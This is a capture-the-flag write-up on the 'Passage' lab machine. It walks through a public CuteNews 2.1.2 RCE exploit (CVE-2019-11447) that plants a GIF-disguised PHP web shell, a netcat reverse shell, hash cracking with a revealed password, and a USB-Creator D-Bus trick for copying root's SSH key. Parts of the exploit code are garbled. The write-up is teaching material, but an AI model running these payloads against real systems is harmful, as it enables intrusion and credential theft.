Passage is an interesting linux machine, it takes us through exploiting an RCE in CuteNews 2.1.2 content management system to exploiting USB-Creator D-Bus interface to gain root access.


Port Scanning

Starting Nmap 7.80 ( ) at 2021-01-09 08:02 IST
Nmap scan report for
Host is up (0.17s latency).

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
|   256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_  256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 11.61 seconds

We got SSH (port 22) and HTTP (port 80) open.


Opening in browser gives us the homepage of Passage News.


Observing the footer, we get CuteNews and searching on google tells us that it is a news/content management system. The version 2.1.2 is vulnerable to RCE (CVE-2019-11447).

The public exploit for the same is available at

Let’s understand the exploit here:

Understanding the Exploit (CVE-2019-11447)

There are 3 major functions in the python exploit:


def extract_credentials():
    global sess, ip
    url = f"{ip}/CuteNews/cdata/users/lines"
    encoded_creds = sess.get(url).text
    buff = io.StringIO(encoded_creds)
    chash = buff.readlines()
    if "Not Found" in encoded_creds:
            print ("[-] No hashes were found skipping!!!")
        for line in chash:
            if "<?php die('Direct call - access denied'); ?>" not in line:
                credentials = b64decode(line)
                    sha_hash ='"pass";s:64:"(.*?)"', credentials.decode()).group(1)
                    print (sha_hash)

This part of exploit establishes a session with the given URL and looks for the path /CuteNews/cdata/users/lines, this path is where there are base64 encoded credentials stored in CuteNews 2.1.2. After it gets the encoded creds, it tries to base64 decode it and prints it in simple and readable form. The variable name suggests that the decoded credentials are not plain text but are SHA hashed (SHA256 to be precise).


def register():
    global sess, ip
    userpass = "".join(random.SystemRandom().choice(string.ascii_letters + string.digits ) for _ in range(10))
    postdata = {
        "action" : "register",
        "regusername" : userpass,
        "regnickname" : userpass,
        "regpassword" : userpass,
        "confirm" : userpass,
        "regemail" : f"{userpass}"
    register ="{ip}/CuteNews/index.php?register", data = postdata, allow_redirects = False)
    if 302 == register.status_code:
        print (f"[+] Registration successful with username: {userpass} and password: {userpass}")

This part of the exploit creates a random string and uses it as the credentials to create a new account on CuteNews 2.1.2 powered website.


payload = "GIF8;\n<?php system($_REQUEST['cmd']) ?>"

def send_payload(payload):
    global ip
    token = sess.get(f"{ip}/CuteNews/index.php?mod=main&opt=personal").text
    signature_key ='signature_key" value="(.*?)"', token).group(1)
    signature_dsi ='signature_dsi" value="(.*?)"', token).group(1)
    logged_user ='disabled="disabled" value="(.*?)"', token).group(1)
    print (f"signature_key: {signature_key}")
    print (f"signature_dsi: {signature_dsi}")
    print (f"logged in user: {logged_user}")

    files = {
        "mod" : (None, "main"),
        "opt" : (None, "personal"),
        "__signature_key" : (None, f"{signature_key}"),
        "__signature_dsi" : (None, f"{signature_dsi}"),
        "editpassword" : (None, ""),
        "confirmpassword" : (None, ""),
        "editnickname" : (None, logged_user),
        "avatar_file" : (f"{logged_user}.php", payload),
        "more[site]" : (None, ""),
        "more[about]" : (None, "")
    payload_send ="{ip}/CuteNews/index.php", files = files).text
    print("============================\nDropping to a SHELL\n============================")
    while True:
        print ()
        command = input("command > ")
        postdata = {"cmd" : command}
        output ="{ip}/CuteNews/uploads/avatar_{logged_user}_{logged_user}.php", data=postdata)
        if 404 == output.status_code:
            print ("sorry i can't find your webshell try running the exploit again")
            output = re.sub("GIF8;", "", output.text)
            print (output.strip())

if __name__ == "__main__":
    print ("================================================================\nUsers SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN\n================================================================")
    print ("================================================================")
    print ("=============================\nRegistering a users\n=============================")
    print("=======================================================\nSending Payload\n=======================================================")
    print ()

This part of the exploit sends a GET request to /CuteNews/index.php?mod=main&opt=personal and searches for signature_dsi, signature_key, logged_user in the response using re python module. The signatures are required for updating the profile in CuteNews.

The variable payload has a PHP payload which system commands with the value supplied in ‘cmd’ GET parameter but to upload this file, payload has GIF8 and this bypasses the file uploading checks by adding GIF machine bytes and the arbitrary PHP file is uploaded by tricking the server into uploading a GIF file.



Running the exploit allows us to run system commands but to have an actual shell I used netcat listener and sent /bin/sh from the passage box.

# Host machine

nc -lvnp 9000

# Victim machine

nc 9000 -e /bin/sh

Stabilizing shell in netcat

python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

We now have a stable and interactive shell over the box.

Privilege Escalation to Paul

While running our CuteNews exploit, we got some SHA256 hashes as identified by hashid. We can crack those using tools like hashcat.


hashcat -m1400 sha_hashes.txt --wordlist /opt/wordlists/rockyou.txt

We get cracked password of only one hash which is e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd:atlanta1

We can use this password to switch user to paul from www-data using su paul.


Privilege Escalation to Nadav

After we get user, we can see that there is /home/paul/.ssh/authorized_keys and nadav is allowed to SSH into paul.

With this logic we can try to straight up login into nadav using SSH without any password.

Make sure to SSH from the victim box itself as only Paul is having access to SSH into nadav, we don’t ;-)


We are in! Time to finally gain root and here comes the most interesting part…

Privilege Escalation to root

Running ps aux on the machine we can see several different processes running on the machine and one of them is the way to go. A process which runs python3 /usr/share/usb-creator/usb-creator-helper.

Searching on google about usb-creator-helper lands us to an awesome article

The above article explains how USB-Creator D-Bus interface is vulnerable to privilege escalation in Ubuntu.

Understanding D-Bus

Ubuntu uses D-Bus for IPC (Interprocess Communication).

D-Bus is a message bus, it is used for IPC (interprocess communication)

Processes connect to the message bus daemon and exchange messages. The buses can be analyzed using a tool called “D-Feet”.

There are two standard instances of DBus daemon:

  • System Bus → It can be used to broadcast messages like adding print queue, adding/removing devices and connects with major components of the computer system.

  • Session Bus → It is used by applications in user login sessions and data is shared while it’s integrated with user’s desktop. For example, movie players can send a D-Bus message to prevent the screensaver from activating while the user is watching a movie.

We can use the following command to copy /root/.ssh/id_rsa to /tmp/id_rsa and SSH into root using the private key we just copied using USBCreator exploitation.

gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/id_rsa true
cat /tmp/id_rsa
ssh -i /tmp/id_rsa [email protected]


I hope you enjoyed the writeup and learnt new stuff! Feel free to message me on my socials for feedback/suggestions. Contact Me

Thank you for reading!

Back to Top